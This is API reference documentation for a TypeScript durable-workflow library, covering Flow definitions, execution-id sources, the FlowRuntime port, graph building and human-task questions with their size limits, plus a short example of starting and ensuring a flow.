| --------------------- | -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `Effects`             | Schema and type      | The declared filesystem effects of a flow: `reads`, `writes`, optional `removes` (workspace-relative patterns, as on an action boundary), and `boundaryMode`. It IS `@smthrs/plan`'s `Plan.NodeEffects`, not a copy of it.                                                                                                                                   |
| `PlacementDirective`  | Type                 | Where a node runs. It IS `@smthrs/plan`'s `Placement.Placement`, the one typed model, carried unchanged until planning reads it.                                                                                                                                                                                                                             |
| `ExecutionIdSource`   | Interface            | Mints the execution id of an invocation that named none, through `mint(flow, payload)`.                                                                                                                                                                                                                                                                      |
| `BodySuccess`         | Type                 | The values a flow body may settle one round with: a decoded success, a planned reference, or an `Outcome`.                                                                                                                                                                                                                                                   |
| `Flow`                | Interface            | A durable flow definition. It carries `_tag`, `payloadSchema`, `successSchema`, `errorSchema`, `annotations`, `body`, `idempotencyKey`, `suspendedRetryPolicy`, `maxRounds`, and `deadline`, and exposes `call`, `child`, `to`, `annotate`, `annotateMerge`, `execute`, `start`, `ensure`, `poll`, `interrupt`, `resume`, `executionId`, and `withRollback`. |
| `AnyStructSchema`     | Interface            | The constraint a flow payload schema satisfies: a `Schema.Top` that exposes `fields`.                                                                                                                                                                                                                                                                        |
| `Execution`           | Interface            | A type-level marker tying a service to one flow tag. It carries no runtime value.                                                                                                                                                                                                                                                                            |
| `Any`                 | Interface            | The type-erased flow shape for APIs that do not preserve payload, success, or error types.                                                                                                                                                                                                                                                                   |
| `AnyWithProps`        | Interface            | The type-erased flow shape that also exposes `execute` and `resume`.                                                                                                                                                                                                                                                                                         |
| `PayloadSchema`       | Type                 | Extracts the payload schema from a `Flow`.                                                                                                                                                                                                                                                                                                                   |
| `Requirements`        | Type                 | Extracts a flow's requirement channel: the action implementations its body names and does not carry.                                                                                                                                                                                                                                                         |
| `RequirementsClient`  | Type                 | The schema services a client that executes or polls flows requires.                                                                                                                                                                                                                                                                                          |
| `RequirementsHandler` | Type                 | The schema services a handler that decodes payloads and encodes results requires.                                                                                                                                                                                                                                                                            |
| `Done`                | Interface and schema | A completed trampoline lineage value, carrying `value`.                                                                                                                                                                                                                                                                                                      |
| `To`                  | Interface and schema | A serializable invocation of the next flow round, carrying `flow` and `payload`.                                                                                                                                                                                                                                                                             |
| `Park`                | Interface and schema | A request to durably park the current round, carrying `reason`.                                                                                                                                                                                                                                                                                              |
| `Outcome`             | Type and schema      | The union of `Done`, `To`, and `Park`.                                                                                                                                                                                                                                                                                                                       |
| `CompleteSchema`      | Interface            | The schema constructor for `Complete` results under supplied success and error schemas.                                                                                                                                                                                                                                                                      |

### `Flow.PromptFlow`

A canonical flow with a typed `prompt(payload): string` renderer and an ordinary
`action` named `<tag>/prompt`. Its requirement channel carries that action's
implementation requirement. Annotation copies retain the prompt and action.

`Flow.ModelSelection` is a seat string or an ordered nonempty tuple.
`Flow.DeclarationMetadata` carries optional `model`, `effort`, `system`, `chat`,
and `flows` fields, interpreted by the host.

### `Flow.Capabilities`

- **Type:** `Context.Reference<ReadonlyArray<string>>`
- **Default:** `[]`
- **Since:** `0.1.0`

The capability names a flow may require. Its identifier is `"@smthrs/flow/Flow/Capabilities"`.

### `Flow.EffectsDeclaration`

- **Type:** `Context.Service<Effects>`
- **Since:** `0.1.0`

The annotation key for a flow's declared filesystem effects. Its identifier is `"@smthrs/flow/Flow/EffectsDeclaration"`.

### `Flow.EffectEnvelope`

- **Type:** `Context.Key<Effects.Declaration, Effects.Declaration>`
- **Since:** `0.1.0`

The annotation key for the effect AUTHORITY a flow declares: the ceiling every step spliced beneath it must stay inside. It IS `@smthrs/plan`'s `Effects.Envelope`, identified by `"@smthrs/plan/Effects/Envelope"`, which `@smthrs/core` also publishes as `Annotations.Effects`, so a flow annotated for either graph builder is visible to the other. Its value is the one envelope model from `@smthrs/plan/Effects`, and `Flow.make`'s `effects` literal writes it.

It answers a different question from `Flow.EffectsDeclaration`. That one says which FILES a node touches, so a plan can order writers and a sandbox can enforce a boundary at run time. This one says how much a flow is ALLOWED to touch, so `Graph.build` can refuse a composition that claims more than its caller granted, with `effect_outside_envelope`, `effect_mode_widening`, `effect_tier_widening`, or the advisory `capability_outside_grant`.

### `Flow.Placement`

- **Type:** `Context.Key<PlacementDirective, PlacementDirective>`
- **Since:** `0.1.0`

The annotation key for a flow's placement directive. It IS `@smthrs/plan`'s `Placement.Annotation`, identified by `"@smthrs/plan/Placement"`, which `@smthrs/core` also publishes as `Annotations.Placement`. Crossing between the two used to be a cast in `@smthrs/registry`.

### `Flow.CaptureDefects`

- **Type:** `Context.Reference<boolean>`
- **Default:** `true`
- **Since:** `0.1.0`

Whether defects are captured for a flow and included in the result of the flow or its actions.

### `Flow.SuspendOnFailure`

- **Type:** `Context.Reference<boolean>`
- **Default:** `false`
- **Since:** `0.1.0`

Whether a flow suspends when it encounters any error. A suspended execution is re-driven with the flow's `resume` method.

### `Flow.ExecutionIdRequired`

- **Type:** `Schema.TaggedError` with fields `code: "execution_id_required"` and `flowName: string`
- **Since:** `0.1.0`

The opt-in `derived` source dies with this defect when the payload has no canonical form. The default source mints a fresh UUID when the caller and declaration do not select an id. `FlowProxyServer` also dies with it when a configured `ExecutionIdScope` returns `undefined` for a resume request.

### `Flow.derived`

- **Type:** `ExecutionIdSource`
- **Since:** `0.1.0`

The opt-in deterministic execution-id source. It encodes the payload with the flow's own codec, canonicalizes it under RFC 8785, hashes it with SHA-256, and hashes that key together with the flow tag inside a JSON tuple. The same tag and encoded payload derive the same id. The preimage encoding freezes at rc.0.

### `Flow.fresh`

- **Type:** `ExecutionIdSource`
- **Since:** `0.1.0`

The default execution-id source. Every invocation mints an independent cryptographic
UUID. Save the returned execution id to reattach after a crash, or explicitly
choose a declared idempotency key, `ensure`, or the `derived` source.

### `Flow.CurrentExecutionIds`

- **Type:** `Context.Reference<ExecutionIdSource>`
- **Default:** `fresh`
- **Since:** `0.1.0`

The host's execution-id source. Its identifier is `"@smthrs/flow/Flow/CurrentExecutionIds"`.

### `Flow.layerExecutionIds`

- **Signature:** `layerExecutionIds(source: ExecutionIdSource): Layer.Layer<never>`
- **Since:** `0.1.0`

Declares the host's execution-id source as a layer. Callers that name an `executionId` and flows that declare an `idempotencyKey` are unaffected, because both are decided before the source is consulted.

### `Flow.make`

- **Signature:** `make(tag: Tag, options: { payload, declaredFrom?, description?, capabilities?, effects?, idempotencyKey?, success?, error?, suspendedRetryPolicy?, maxRounds?, deadline?, annotations?, model?, effort?, flows?, system?, chat?, body | prompt }): Flow<Tag, PayloadSchemaOf<Payload>, Success, Error, Requires>`
- **Default:** `success` is `Schema.Void`, `error` is `Schema.Never`, `annotations` is `Context.empty()`
- **Required:** `payload` and exactly one of `body` or `prompt`
- **Since:** `0.1.0`

Creates a durable flow definition. The `body` is the flow's one behavior, evaluated at plan time only, and it must be pure: it may not read mutable module state, clocks, random values, services, or values captured outside `payload`. A typed `prompt(payload)` lowers to one ordinary action named `<tag>/prompt`; its returned `PromptFlow` exposes the declaration as `action` and the renderer as `prompt`. The renderer runs only when the host implementation calls it. Optional `model`, `effort`, `flows`, `system`, and `chat` fields retain host metadata; annotation copies preserve them. `Flow.make` throws a `RangeError` when `maxRounds` is not a positive safe integer or `deadline` is not a positive finite duration of at most `Number.MAX_SAFE_INTEGER` milliseconds. `deadline` bounds one execution, counted from its journaled first start, so a resume after a restart honors the original deadline; on expiry the execution settles with `Flow.DeadlineExceeded` whether it was running or parked.

`Flow.make` throws `TypeError` for a missing or blank tag, or when the declaration
does not supply exactly one function as `body` or `prompt`.

`declaredFrom: original` retains a native declaration's diagnostic source location,
including its absence, while constructing a fresh flow with the supplied body.
It does not change key material or execution identity.

`description`, `capabilities`, and `effects` are declared as literals and lowered into the annotation bag, so a catalog reading the source text projects the same values `Graph.build` enforces. `effects` takes `{ reads, writes, mode, onConflict, tier? }` and is normalized by `Effects.make`.

### `flow.start` and `flow.ensure`

```ts
import { Action, Flow } from "@smthrs/flow"
import * as Effect from "effect/Effect"
import * as Schema from "effect/Schema"

const Step = Action.make("worker/step", {
  payload: { id: Schema.String },
  success: Schema.String
})

const flow = Flow.make("worker/run", {
  payload: { id: Schema.String },
  success: Schema.String,
  body: (payload) => Step.call(payload)
})

const payload = { id: "job-1" }

export const program = Effect.gen(function*() {
  const freshId = yield* flow.start(payload)
  const keyedId = yield* flow.ensure(payload, { key: "worker-1" })
  return { freshId, keyedId }
})
```

`start` admits a fresh execution, bypassing declared and ambient idempotency
policies. `ensure` admits or joins the execution identified by the flow tag and
caller key. Both return the execution id after admission and scheduling,
without waiting for the child to settle, including inside an action.
`execute(payload, { discard: true })` follows the same contract.

The scheduled child belongs to the engine's scope and continues after the
caller's action or parent round finishes. Keep that engine scope open. A memory
engine loses its executions when the scope closes; a durable engine retains
admission and progress for recovery. Explicit parent cancellation still follows
the engine's cancellation policy for linked children.

Use `flow.poll(id)` to observe the result, or
`flow.execute(payload, { executionId: id })` to await completion. The returned
id acknowledges admission, not a successful result or a reached wait point.

### `Flow.MaxRoundsExceeded`

- **Type:** `Schema.TaggedError` with fields `code: "max_rounds_exceeded"`, `flowName: string`, `lineageId: string`, `maxRounds: number`, `roundOrdinal: number`, and `message: string`
- **Since:** `0.1.0`

A lineage asked for one more round than its flow's `maxRounds` allows. It is recorded as a defect in the execution result, not as a typed `execute` failure.

### `Flow.DeadlineExceeded`

- **Type:** `Schema.TaggedError` with fields `code: "deadline_exceeded"`, `flowName: string`, `executionId: string`, `deadlineMs: number`, `startedAtMs: number`, and `message: string`
- **Since:** `1.0.0`

An execution was still unsettled when its flow's `deadline` elapsed. It is recorded as a defect in the execution result, not as a typed `execute` failure, and its attached children are cancelled with it.

### `Flow.done`

- **Signature:** `done<A>(value: A): Node.Node<Node.Succeed<Done<A>>>`
- **Since:** `0.1.0`

Ends a trampoline lineage with a value. The engine encodes the resulting value with the settling flow's success schema.

Constant values use `Node.succeed`’s JSON projection; Dates become strings or `null`. Planned references retain their upstream result type.

### `Flow.park`

- **Signature:** `park(reason: WaitingAnnotation): Node.Node<Park>`
- **Signature:** `park(reason: string, token?: string | undefined): Node.Node<Park>`
- **Since:** `0.1.0`

Parks the current round durably under a waiting reason, and an optional wake token.

### `Flow.isOutcome`

- **Signature:** `isOutcome(value: unknown): value is Outcome`
- **Since:** `0.1.0`

Whether a settled body value is one of the three trampoline settlements. Shape alone is deliberately insufficient, because ordinary success data may carry the same `_tag` fields. Graph construction carries a non-enumerable marker from the authoring node to its hydrated value, and the guard reads that marker.

### `Flow.isResult`

- **Signature:** `isResult<A = unknown, E = unknown>(u: unknown): u is Result<A, E>`
- **Since:** `0.1.0`

Whether a value is a flow `Result`.

### `Flow.Result`

- **Type:** `Complete<A, E> | Suspended | Handoff` as a type, and `Result(options: { readonly success: Success; readonly error: Error })` as a schema constructor
- **Since:** `0.1.0`

The result of a flow execution: a completed exit, a suspended state, or a handoff to the next round of a trampoline lineage.

### `Flow.ResultEncoded`

- **Type:** `CompleteEncoded<A, E> | typeof Suspended.Encoded | typeof Handoff.Encoded` as a type, and `Schema.Codec<Schema.Json>` as a schema
- **Since:** `0.1.0`

The encoded form of a flow `Result`, as it is stored.

### `Flow.CompleteEncoded`

- **Type:** `interface CompleteEncoded<A, E> { readonly _tag: "Complete"; readonly exit: ExitEncoded<A, E> }`
- **Since:** `0.1.0`

The encoded form of a completed result.

### `Flow.Complete`

- **Type:** `Data.TaggedClass("Complete")<{ readonly exit: Exit.Exit<A, E> }>`
- **Since:** `0.1.0`

A completed flow execution, carrying its success or failure `Exit`. Its schema keeps an `Interpreter.InterpreterError` defect whole, `code` included; every other defect encodes as `Schema.Defect` encodes it.

### `Flow.Suspended`

- **Type:** `Schema.Class` keyed `"@smthrs/flow/Flow/Suspended"` with fields `_tag: "Suspended"` and optional `cause`
- **Since:** `0.1.0`

A flow execution that parked on a durable wait. The optional `cause` carries what triggered the suspension.

### `Flow.Handoff`

- **Type:** `Schema.Class` keyed `"@smthrs/flow/Flow/Handoff"` with fields `_tag: "Handoff"`, `flow: NonEmptyString`, optional `capabilityCeilings`, `payload: Unknown`, and optional `deadline: LineageDeadline`
- **Since:** `0.1.0`

A round that ended by handing off to the next round of its trampoline lineage. `deadline` is the lineage deadline the next round runs under, stamped by a bounded round.

### `Flow.LineageDeadline`

- **Type:** `Schema.Struct({ startedAtMs: Number, deadlineMs: Number })`
- **Since:** `1.0.0`

The deadline a trampoline lineage's rounds share: the originating round's journaled first start and its bound, so every round expires at `startedAtMs + deadlineMs`.

### `Flow.intoResult`

- **Signature:** `intoResult<A, E, R>(effect: Effect.Effect<A, E, R>): Effect.Effect<Result<A, E>, never, Exclude<R, Scope.Scope> | FlowInstance>`
- **Since:** `0.1.0`

Runs an effect as a flow execution and turns its outcome into a `Result`. It reads `CaptureDefects` and `SuspendOnFailure` from the flow's annotations, and closes the flow scope when the execution completes.

### `Flow.wrapActionResult`

- **Signature:** `wrapActionResult<A, E, R>(effect: Effect.Effect<A, E, R>, isSuspend: (value: A) => boolean): Effect.Effect<A, E, R | FlowInstance>`
- **Since:** `0.1.0`

Wraps an action-like effect so a flow suspension waits for the actions already running to finish or suspend.

### `Flow.scope`

- **Type:** `Effect.Effect<Scope.Scope, never, FlowInstance>`
- **Since:** `0.1.0`

The flow scope, which is closed only when the flow execution fully completes.

### `Flow.provideScope`

- **Signature:** `provideScope<A, E, R>(effect: Effect.Effect<A, E, R>): Effect.Effect<A, E, Exclude<R, Scope.Scope> | FlowInstance>`
- **Since:** `0.1.0`

Provides the flow scope to an effect, so resources it acquires live as long as the execution does.

### `Flow.addFinalizer`

- **Signature:** `addFinalizer<R>(f: (exit: Exit.Exit<unknown, unknown>) => Effect.Effect<void, never, R>): Effect.Effect<void, never, FlowInstance | R>`
- **Since:** `0.1.0`

Adds an exit finalizer to the flow scope, preserving the services available when the finalizer is registered.

### `Flow.withRollback`

- **Signature:** `withRollback<A, E, R, R2>(effect: Effect.Effect<A, E, R>, rollback: (value: A, cause: Cause.Cause<unknown>) => Effect.Effect<void, never, R2>): Effect.Effect<A, E, R | R2 | FlowInstance | Scope.Scope>`
- **Since:** `0.1.0`

Runs an effect and registers how to undo its successful result if the enclosing flow later exits unsuccessfully. An effect that fails registers no rollback. A flow that succeeds discards it. The data-last form takes the rollback alone.

### `Flow.suspend`

- **Signature:** `suspend(instance: FlowInstance["Service"]): Effect.Effect<never>`
- **Since:** `0.1.0`

Marks a flow instance suspended and interrupts the current fiber, stopping execution until the run is resumed.

## FlowRuntime

### `FlowRuntime.CancelRequestFailed`

- **Type:** `Schema.TaggedError` with fields `code: "cancel_request_failed" | "unsafe_interrupt_unsupported"`, `executionId: string`, and `reason: string`
- **Since:** `0.1.0`

A runtime could not durably record a cancellation request. `cancel_request_failed` is a storage failure on a supported request. `unsafe_interrupt_unsupported` is the durable engine refusing `interruptUnsafe`, which it does not implement.

### `FlowRuntime.FlowCycleDetected`

- **Type:** `Schema.TaggedError` with fields `code: "flow_cycle_detected"` and `path: ReadonlyArray<string>`
- **Since:** `0.1.0`

Executing a flow would close a cycle in the persisted parent-execution chain. `path` holds the ordered execution ids from the cycle's target back to itself.

### `FlowRuntime.FlowExecutionNotFound`

- **Type:** `Schema.TaggedError` with fields `code: "execution_not_found"` and `executionId: string`
- **Since:** `0.1.0`

`poll` was given an execution id the runtime never recorded. `resume` has no error channel and returns without effect for an unknown id.

### `FlowRuntime.FlowInstance`

- **Type:** `Context.Service` keyed `"@smthrs/flow/FlowRuntime/FlowInstance"`
- **Since:** `0.1.0`

One execution's state: `executionId`, `lineageId`, `flow`, a `scope` closed only when the flow completes, the mutable `suspended`, `interrupted`, `waiting`, `handoff`, and `cause` fields, the optional `lineageDeadline` a round after a handoff inherited, and `actionState`. This package declares the contract; a runtime constructs the value. A completion wakes a parked run through `FlowRuntime.resume`.

### `FlowRuntime.DeferredDoneIfWaitingOutcome`

- **Type:** `"Completed" | "Existing" | "NotWaiting"`
- **Since:** `1.0.0`

The result of atomically completing a deferred only while its run is parked.

### `FlowRuntime.ResumeOptions`

- **Type:** `interface ResumeOptions { readonly delegated?: boolean | undefined }`
- **Since:** `1.0.0`

How a caller asks `resume` to re-drive a suspended execution. Without options, `resume` is the operator's own request, which is consent to recover a quarantined execution. `delegated: true` marks a background resume a host takes up for someone else, such as an approval decision or a saved request. A durable engine refuses it for a quarantined execution in the same transaction that reads the park, so a peer that quarantines the run after the host checked it cannot turn the delegation into recovery consent.

### `FlowRuntime.FlowRuntime`

- **Type:** `Context.Service` keyed `"@smthrs/flow/FlowRuntime"`
- **Since:** `0.1.0`

The port the authoring APIs are written against. It exposes `register`, `execute`, `poll`, `interrupt`, `interruptUnsafe`, `resume`, `actionExecute`, `deferredResult`, `deferredDone`, `deferredDoneIfWaiting`, `scheduleClock`, and the optional `recordNode` and `nodeRecordBytes`. This package declares the port and depends on nothing that implements it, so the dependency direction runs from `@smthrs/flow` to `@smthrs/engine` to the durable stores.

`recordNode(record: NodeRecord): Effect.Effect<void, never, FlowInstance>` is optional in the strong sense: a runtime that keeps no history leaves it absent and skips journal preflight. A recording runtime can refuse oversized node topology before the walk starts. An implementation must write the record under the record's own `sourceId` rather than minting an identity per observation, because that is what makes a resumed walk collapse onto the rows the first walk wrote instead of doubling every node.

### `FlowRuntime.NodeRecord`

- **Type:** `PlanRecorded | SubgraphAppended | NodeScheduled | NodeSettled`
- **Since:** `1.0.0`

What a driven graph tells its runtime about itself, and the only thing this package says about where the records go. Every record carries its own replay-stable `sourceId`, which is its producer identity. `PlanRecorded` carries `flow`, `generation`, `page`, `pages`, the whole graph's `nodeCount`, and this page's `nodes` and `edges`. `SubgraphAppended` is one further page of the same graph and carries everything but `nodeCount`. `NodeScheduled` carries `nodeId`, `kind`, `attempt`, and the optional `action`; no step key digest rides there, because the engine allocates a dispatch's ordinal when the dispatch happens, which is after the record is written. `NodeSettled` carries `nodeId`, `outcome`, `attempts`, `stepKeyDigests`, the optional `action`, and the `value` the node settled with. `attempts` is the highest durable attempt any of the node's dispatches ran as, so a node whose action was retried says two; `stepKeyDigests` names the distinct dispatches it drove, which is what joins `flows.engine.attempt-started` back to a plan node; `value` is handed over whole and unbounded, and bounding and redacting it belongs to the writer that knows where it is going. A large graph is paged rather than truncated, because a journal entry has a byte bound and a projection that clipped one would lose nodes silently.

### `FlowRuntime.NodeSummary`

- **Type:** `interface NodeSummary { readonly id: string; readonly kind: string; readonly dependsOn: ReadonlyArray<string>; readonly tier: "sealed" | "compensable" | "irreversible"; readonly action?: string | undefined; readonly effects?: Plan.NodeEffects | undefined; readonly declaredAt?: { readonly path: string; readonly line: number } | undefined }`
- **Since:** `1.0.0`

One node of the graph a run was driven from. `tier` and `effects` are the declaration's own and `dependsOn` is the material dependency set the plan compiles edges from. `action` is the tag the node dispatches, absent on every node that dispatches nothing. `declaredAt` is provenance and never identity: it is outside key material by construction, so a node recorded with it is keyed exactly as the same node without it.

### `FlowRuntime.EdgeSummary`

- **Type:** `interface EdgeSummary { readonly from: string; readonly to: string; readonly reason: "value" | "continuation" | "failure" }`
- **Since:** `1.0.0`

One edge of the recorded graph, with the reason the builder drew it. A page carries the edges that END on its nodes, so an assembled set of pages is the whole graph and no page names an edge whose destination is missing.

### `FlowRuntime.NodeOutcome`

- **Type:** `"built" | "clean" | "failed" | "skipped"`
- **Since:** `1.0.0`

How a node left the walk. `built` ran, `clean` was served entirely from durable records, `failed` raised, and `skipped` is a node the walk never reached: an untaken branch arm, or a dependent of something that failed.

### `FlowRuntime.WaitingAnnotation`

- **Type:** `interface WaitingAnnotation { readonly reason: string; readonly wakeAt?: number | undefined; readonly token?: string | undefined }`
- **Schema:** `Schema.Struct({ reason: Schema.String, wakeAt: Schema.optional(Schema.Number), token: Schema.optional(Schema.String) })`
- **Since:** `0.1.0`

The waiting classification a flow declares before suspending. `Flow.Park`
carries this schema as its `reason`, so a parking request and the annotation
that precedes a suspension cannot describe different waits.

### `FlowRuntime.annotateWaiting`

- **Signature:** `annotateWaiting(waiting: WaitingAnnotation | undefined): Effect.Effect<void, never, FlowInstance>`
- **Since:** `0.1.0`

Declares how the flow is about to wait, so a durable driver parks the run under that reason and token instead of the derived `timer` or `event` default.

## Graph

### `Graph.EdgeReason`

- **Type:** `"value" | "continuation" | "failure"`
- **Since:** `0.1.0`

Why one node depends on another. `value` consumes a result. `continuation` is the sequencing edge a builder or a branch arm records against the upstream node it was evaluated with.

### `Graph.Edge`

- **Type:** `interface Edge { readonly from: string; readonly to: string; readonly reason: EdgeReason }`
- **Since:** `0.1.0`

A dependency edge, pointing from the node that produces to the node that consumes.

### `Graph.GraphNode`

- **Type:** `interface GraphNode` with `id`, `kind`, `dependencies`, `capabilities`, `placement`, `draft`, the authoring node it was observed at, and `declaredAt?: { readonly path: string; readonly line: number } | undefined`
- **Since:** `0.1.0`

One observed node: its structural address, the authoring variant it came from, and the `Plan.NodeDraft` the plan is compiled from. `kind` is the authoring variant, not the plan's node kind. Every draft a graph produces is a plan `step`. `declaredAt` is where the declaration this node was observed at was written, when the runtime's stack format says so: it is provenance outside `KeyMaterial`, so a node carrying it is byte-identical to the same node without it, and it is absent for a node with no declaration to read and for a declaration the framework itself made.

### `Graph.LayerRequest`

- **Type:** `interface LayerRequest { readonly nodeId: string; readonly kind: Node.Ast["_tag"]; readonly capabilities: ReadonlyArray<string>; readonly effects: Annotations.Effects | undefined; readonly placement: unknown }`
- **Since:** `0.1.0`

What a pure per-node layer resolver is told. It is the identity of the implementation a node would run against, never a layer value or a runtime handle.

### `Graph.BuildOptions`

- **Type:** `interface BuildOptions { readonly resolveLayers?: ((request: LayerRequest) => Iterable<string>) | undefined; readonly callbackIdentity?: "stable" | "process-local" | undefined; readonly root?: string | undefined }`
- **Default:** `root` is `"root"`; `callbackIdentity` is `"process-local"`
- **Since:** `0.1.0`

The options `Graph.build` takes. `resolveLayers` is invoked once per node and must be pure: planning performs no input or output, and a resolver that read the world would make a plan a function of more than its declarations.

### `Graph.Graph`

- **Type:** `interface Graph { readonly nodes: ReadonlyArray<GraphNode>; readonly edges: ReadonlyArray<Edge>; readonly diagnostics: ReadonlyArray<GraphBuildError> }`
- **Since:** `0.1.0`

A built graph: the nodes in dependency order, the edges between them, and the refusals recoverable enough to report rather than throw. The drafts are deliberately not a field, because the derivation carries a refusal.

### `Graph.build`

- **Signature:** `build(flowOrNode: Flow.Any | Node.Any, payload?: unknown, options: BuildOptions = {}): Graph`
- **Since:** `0.1.0`

Builds the graph of a flow declaration, or of a bare node, by walking the authoring tree once. Building is a pure function of the declarations and the payload, so the shape of a round is known before its first action runs. It refuses a nesting depth past its bound and a duplicate node id, because a node id is durable dispatch identity.

### `Graph.nodes`

- **Signature:** `nodes(graph: Graph): ReadonlyArray<GraphNode>`
- **Since:** `0.1.0`

The observed nodes, children before the parents that consume them.

### `Graph.edges`

- **Signature:** `edges(graph: Graph): ReadonlyArray<Edge>`
- **Since:** `0.1.0`

The dependency edges, in the order they were observed.

### `Graph.drafts`

- **Signature:** `drafts(graph: Graph): ReadonlyArray<Plan.NodeDraft>`
- **Since:** `0.1.0`

The drafts, in node order, ready for `Plan.compile` or `Plan.append` unchanged. A graph carrying diagnostics is inspectable but not compilable, so this accessor throws the first typed build refusal instead of returning partial drafts.

### `Graph.diagnostics`

- **Signature:** `diagnostics(graph: Graph): ReadonlyArray<GraphBuildError>`
- **Since:** `0.1.0`

The recoverable topology issues recorded during the build, such as a missing continuation builder or a continuation that produced no node. Fatal refusals, including computing on a planned value and a recursive inline `call`, throw from `Graph.build` and never appear here.

## HumanTask

### `HumanTask.Kind`

- **Type:** `"ask" | "confirm" | "select" | "json"` as a type, and `Schema.Literals(["ask", "confirm", "select", "json"])` as a schema
- **Since:** `0.1.0`

The shape a person is asked for. `ask` wants prose, `confirm` wants a boolean, `select` wants one of the options the task names, and `json` wants a value the task's JSON Schema accepts.

### `HumanTask.HumanTaskFailed`

- **Type:** `Schema.TaggedError` with fields `code: "request_invalid" | "rejected" | "timeout"`, `task: string`, `attempts: number`, `rejections: ReadonlyArray<string>`, and `message: string`
- **Since:** `0.1.0`

A question that ended without an answer the task could accept. `request_invalid` refuses an unanswerable question before anyone is asked. `rejected` means the attempt budget was spent on answers the task refused. `timeout` means the deadline passed with the question open.

### `HumanTask.HumanAnswerInvalid`

- **Type:** `Schema.TaggedError` with fields `code: "answer_invalid" | "answer_not_open"` and `message: string`
- **Default:** `code` defaults to `"answer_invalid"`
- **Since:** `1.0.0`

An answer refused before it could consume durable storage.

### `HumanTask.tag`

- **Type:** `"system/human-task"`
- **Since:** `0.1.0`

The tag the human-task declaration is catalogued and resolved under.

### `HumanTask.defaultMaxAttempts`

- **Type:** `10`
- **Since:** `0.1.0`

The attempt budget a task that names none is asked under.

### `HumanTask.maxSchemaDepth`

- **Type:** `32`
- **Since:** `0.1.0`

The deepest supported JSON Schema path, counting the root as depth zero.

### `HumanTask.maxSchemaNodes`

- **Type:** `512`
- **Since:** `0.1.0`

The most schema objects one human-task request may contain.

### `HumanTask.maxSchemaValueNodes`

- **Type:** `10_000`
- **Since:** `1.0.0`

The most JSON values embedded across schema keywords such as `enum`.

### `HumanTask.maxSchemaValueDepth`

- **Type:** `64`
- **Since:** `1.0.0`

The deepest JSON value embedded in a schema, including enum members.

### `HumanTask.maxAnswerNodes`

- **Type:** `10_000`
- **Since:** `0.1.0`

The most JSON values one answer validation may visit.

### `HumanTask.maxAnswerBytes`

- **Type:** `256 * 1024`
- **Since:** `1.0.0`

The largest encoded JSON answer that can enter the durable store.

### `HumanTask.maxSchemaBytes`

- **Type:** `256 * 1024`
- **Since:** `1.0.0`

The largest encoded JSON Schema carried by one question.

### `HumanTask.maxAnswerDepth`

- **Type:** `64`
- **Since:** `1.0.0`

The deepest admitted answer tree.

### `HumanTask.maxJsonStringBytes`

- **Type:** `128 * 1024`
- **Since:** `1.0.0`

The largest encoded string value admitted in a request or an answer.

### `HumanTask.maxJsonKeyBytes`

- **Type:** `4 * 1024`
- **Since:** `1.0.0`

The largest encoded object key admitted in a request or an answer.

### `HumanTask.maxJsonMembers`

- **Type:** `10_000`
- **Since:** `1.0.0`

The most members admitted in one JSON array or object.

### `HumanTask.maxTaskNameBytes`

- **Type:** `1_024`
- **Since:** `1.0.0`

The largest encoded task name.

### `HumanTask.maxPromptBytes`

- **Type:** `64 * 1024`
- **Since:** `1.0.0`

The largest encoded prompt.

### `HumanTask.maxOptions`

- **Type:** `256`
- **Since:** `1.0.0`

The largest option list on one select question.

### `HumanTask.maxOptionBytes`

- **Type:** `4 * 1024`
- **Since:** `1.0.0`

The largest encoded select option.

### `HumanTask.maxAttemptBudget`

- **Type:** `1_000`
- **Since:** `0.1.0`

The largest attempt budget one human task may declare.

### `HumanTask.maxDiagnosticChars`

- **Type:** `512`
- **Since:** `0.1.0`

The most caller-supplied characters retained in one rendered diagnostic. A longer value is truncated with an explicit marker.

### `HumanTask.maxRetainedRejectionChars`

- **Type:** `8_192`
- **Since:** `0.1.0`

The most characters retained across a terminal failure's rejection list. The list records how many further rejections it omitted, and each per-attempt journal step still holds its own full reason.

### `HumanTask.deferred`

- **Signature:** `deferred(name: string, attempt: number): DurableDeferred.DurableDeferred<typeof Schema.Json>`
- **Since:** `0.1.0`

The durable deferred one attempt at answering resolves through, named `WaitFor/<name>#<attempt>`. Attempts are separate wait points, because a durable deferred records the first completion and replays it forever.

### `HumanTask.Request`

- **Type:** `interface Request { readonly kind: Kind; readonly options?: ReadonlyArray<string> | undefined; readonly schema?: unknown }`
- **Since:** `0.1.0`

What `HumanTask.validate` checks an answer against. `options` is ignored for `json`, because an option list alone constrains no JSON value.

### `HumanTask.validateSchema`

- **Signature:** `validateSchema(schema: unknown, path: ReadonlyArray<string> = []): string | undefined`
- **Since:** `0.1.0`

Checks that a JSON Schema stays inside the bounded subset at every depth. It returns the first reason the schema is out of bounds, or `undefined` when the whole tree is inside it.

### `HumanTask.validate`

- **Signature:** `validate(value: unknown, request: Request): string | undefined`
- **Since:** `0.1.0`

Checks one answer against the question that was asked. It returns the reason the answer was refused, or `undefined`. Run it in the interface so a typo is refused while the person is still looking at it.

### `HumanTask.action`

- **Type:** `Action.Declared<typeof tag, Schema.Struct<{ name, kind, prompt, options?, schema?, timeoutMs?, maxAttempts? }>, typeof Schema.Json, typeof HumanTaskFailed, never>`
- **Since:** `0.1.0`

The declared `system/human-task` step. `name` addresses the question, so two calls naming one question in one execution await one answer. The node settles with the answer, and `HumanTask.decode` gives that answer the caller's own type.

### `HumanTask.layer`

- **Type:** `Layer.Layer<never, never, Crypto.Crypto | FlowRuntime>`
- **Since:** `0.1.0`

The human-task implementation: park, validate, re-ask, settle. Provide it beside the other action implementation layers, over `Action.layerImplementations`.

### `HumanTask.answer`

- **Signature:** `answer(options: { readonly token: DurableDeferred.Token; readonly value: typeof Schema.Json.Type }): Effect.Effect<void, DurableDeferred.TokenInvalid | HumanAnswerInvalid, FlowRuntime>`
- **Since:** `0.1.0`

Records one answer to a human task. `token` is the value the run parked with. The runtime checks that exact approval wait and records the completion as one mutation, so a guessed, unopened, or stale token cannot pre-answer a run. A token whose deferred name `HumanTask.deferred` could not have written fails with `TokenInvalid` carrying `deferred_mismatch`. The token does not authorize the caller: anyone who knows or derives the open attempt's address can answer it, so the host must decide who may answer before calling `answer`.

### `HumanTask.decode`

- **Signature:** `decode<S extends Schema.ConstraintDecoder<unknown>>(schema: S): <E, R>(self: Node.Node<typeof Schema.Json.Type, E, R>) => Node.Node<S["Type"], E, R>`
- **Since:** `0.1.0`

